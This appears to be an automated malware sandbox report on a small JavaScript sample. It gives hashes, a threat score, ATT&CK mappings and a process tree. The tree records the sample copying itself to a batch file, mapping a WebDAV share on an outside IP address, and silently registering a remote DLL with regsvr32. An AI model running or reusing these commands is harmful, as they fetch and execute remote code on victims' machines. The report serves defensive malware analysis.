4edc1900be3c13d0c21adfb4a5cd5706a1b5e52a6eb09394e51115027586d98d

Analysis

max time kernel
121s
max time network
124s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
09/07/2024, 16:50

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General

Target

14114325129011740.js
Size

5KB
MD5

06227bd247cc80ac4cc0c1750dbeb67f
SHA1

760787f3b7d1132bbea6394be2c9714097e3523d
SHA256

4edc1900be3c13d0c21adfb4a5cd5706a1b5e52a6eb09394e51115027586d98d
SHA512

510ac8a426ea82ce33b46a74f5125b880b8539d95191f404c702821a8415b2a88282f88c1cfaff39e24823bcc11d8f5ff2fa42e416b739ae602cd27bd87a3bd7
SSDEEP

96:+qbxSB84WPjxFPfRQaKe3iYv4sQI96hOhGwW5NJ1720Ja/zcl9DlqF/KPa9X1sML:g0DSIWhdmhBUt7JG05riLkD6vrLjSkjz

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2096	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1448 wrote to memory of 2176	1448	wscript.exe	30
PID 1448 wrote to memory of 2176	1448	wscript.exe	30
PID 1448 wrote to memory of 2176	1448	wscript.exe	30
PID 2176 wrote to memory of 2728	2176	cmd.exe	32
PID 2176 wrote to memory of 2728	2176	cmd.exe	32
PID 2176 wrote to memory of 2728	2176	cmd.exe	32
PID 2176 wrote to memory of 2096	2176	cmd.exe	33
PID 2176 wrote to memory of 2096	2176	cmd.exe	33
PID 2176 wrote to memory of 2096	2176	cmd.exe	33
PID 2176 wrote to memory of 2096	2176	cmd.exe	33
PID 2176 wrote to memory of 2096	2176	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\14114325129011740.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\14114325129011740.js" "C:\Users\Admin\\uhcjye.bat" && "C:\Users\Admin\\uhcjye.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2176
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2728
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\652.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2096

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\uhcjye.bat

Filesize
5KB

MD5
06227bd247cc80ac4cc0c1750dbeb67f

SHA1
760787f3b7d1132bbea6394be2c9714097e3523d

SHA256
4edc1900be3c13d0c21adfb4a5cd5706a1b5e52a6eb09394e51115027586d98d

SHA512
510ac8a426ea82ce33b46a74f5125b880b8539d95191f404c702821a8415b2a88282f88c1cfaff39e24823bcc11d8f5ff2fa42e416b739ae602cd27bd87a3bd7

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